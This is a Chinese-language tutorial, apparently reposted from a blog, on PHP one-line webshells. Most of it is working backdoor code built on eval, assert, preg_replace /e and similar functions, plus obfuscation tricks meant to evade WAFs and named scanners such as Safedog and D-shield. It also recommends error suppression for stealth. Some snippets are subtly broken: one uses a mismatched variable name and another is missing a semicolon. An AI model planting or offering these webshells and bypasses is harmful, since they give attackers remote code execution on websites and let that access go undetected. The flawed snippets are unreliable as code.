什么是一句话木马
一句话木马就是只需要一行代码的木马, 短短一行代码, 就能做到和大马相当的功能. 为了绕过 waf 的检测, 一句话木马出现了无数中变形, 但本质是不变的: 木马的函数执行了我们发送的命令.
我们如何发送命令, 发送的命令如何执行?
我们可以通过
GET ,POST ,COOKIE
这三种方式向一个网站提交数据, 一句话木马用
$_GET[''],$_POST[' '],$_COOKIE[' ']
接收我们传递的数据, 并把接收的数据传递给一句话木马中执行命令的函数, 进而执行命令.
所以看到的经典一句话木马大多都是只有两个部分, 一个是可以执行代码的函数部分, 一个是接收数据的部分.
例如:
<?php eval(@$_POST['a']); ?>
其中 eval 就是执行命令的函数,$_POST['a']就是接收的数据. eval 函数把接收的数据当作 PHP 代码来执行. 这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意 PHP 语句. 这便是一句话木马的强大之处.
示例:
phpinfo.png
因为木马是接收 post 请求中 "a" 的数据 ( $_POST['a']), 所以我们必须以 post 方法发送数据并且将我们要执行的代码赋值给 "a". 如果把木马中的 post 替换成 get, 那么我么就需要以 GET 方法发送 "a",( 就像这样: http://127.0.0.1/test.php?a=phpinfo() ; ) 我就不再另行演示了.
使用 其他函数制作一句话木马
assert 函数
<?php assert(@$_POST['a']); ?>
create_function 函数
- <?php
- $fun = create_function('',$_POST['a']);
- $fun();
- ?>
把用户传递的数据生成一个函数 fun(), 然后再执行 fun()
call_user_func 回调函数
- <?php
- @call_user_func(assert,$_POST['a']);
- ?>
call_user_func 这个函数可以调用其它函数, 被调用的函数是 call_user_func 的第一个函数, 被调用的函数的参数是 call_user_func 的第二个参数. 这样的一个语句也可以完成一句话木马. 一些被 waf 拦截的木马可以配合这个函数绕过 waf.
preg_replace 函数
- <?php
- @preg_replace("/abcde/e", $_POST['a'], "abcdefg");
- ?>
这个函数原本是利用正则表达式替换符合条件的字符串, 但是这个函数有一个功能 -- 可执行命令. 这个函数的第一个参数是正则表达式, 按照 PHP 的格式, 表达式在两个 "/" 之间. 如果我们在这个表达式的末尾加上 "e", 那么这个函数的第二个参数就会被当作代码执行.
file_put_contents 函数
利用函数生成木马
- <?php
- $test='<?php $a=$_POST["cmd"];assert($a); ?>';
- file_put_contents("Trojan.php", $test);
- ?>
函数功能: 生成一个文件, 第一个参数是文件名, 第二个参数是文件的内容.
如何让一句话木马绕过 waf ?
waf 是网站的防火墙, 例如安全狗就是 waf 的一种. waf 通常以关键字判断是否为一句话木马, 但是一句话木马的变形有很多种, waf 根本不可能全部拦截. 想要绕过 waf, 需要掌握各种 PHP 小技巧, 掌握的技巧多了, 把技巧结合起来, 设计出属于自己的一句话木马.
PHP 变量函数
- <?php
- $a = "eval";
- $a(@$_POST['a']);
- ?>
第三行使用了变量函数 $a, 变量储存了函数名 eval, 便可以直接用变量替代函数名.
PHP 可变变量
- <?php
- $bb="eval";
- $a="bb";
- $$aa($_POST['a']);
- ?>
看这句就能理解上述语句:
$$aa = $($aa) = $ ('bb') = $bb = "eval"
str_replace 函数
- <?php
- $a=str_replace("Waldo", "","eWaldoval");
- $a(@$_POST['a']);
- ?>
函数功能: 在第三个参数中, 查找第一个参数, 并替换成第二个参数. 这里第二个参数为空字符串, 就相当于删除 "Waldo".
base64_decode 函数
- <?php
- $a=base64_decode("ZXZhbA==")
- $a($_POST['a']);
- ?>
这里是 base64 解密函数,"ZXZhbA==" 是 eval 的 base64 加密.
"." 操作符
- <?php
- $a="e"."v";
- $b="a"."l";
- $c=$a.$b;
- $c($_POST['a']);
- ?>
parse_str 函数
- <?php
- $str="a=eval";
- parse_str($str);
- $a($_POST['a']);
- ?>
执行这个函数后, 生成一个变量 $a, 值为字符串 "eval"
更多技巧...
多实战, 多谷歌!
上述六种技巧每一种单独使用都不能绕过 waf, 但是与 第三大点提到的函数混合起来使用, 就可以顺利的欺骗 waf.
tips: 使用一句话木马的时候可以在函数前加 "@" 符, 这个符号让 php 语句不显示错误信息, 增加隐蔽性.
再来一个小栗子
- <?php
- function fun()
- {return $_POST['a'];}
- @preg_replace("/test/e",fun(),"test test test");
- ?>
这里又有一个技巧, 创建函数 fun(), 返回 post 中 "a" 的数据. 我的这个例子很明显是一句话木马, 但是安全狗却扫不出, D 盾也是如此.
来源: http://www.jianshu.com/p/90473b8e6667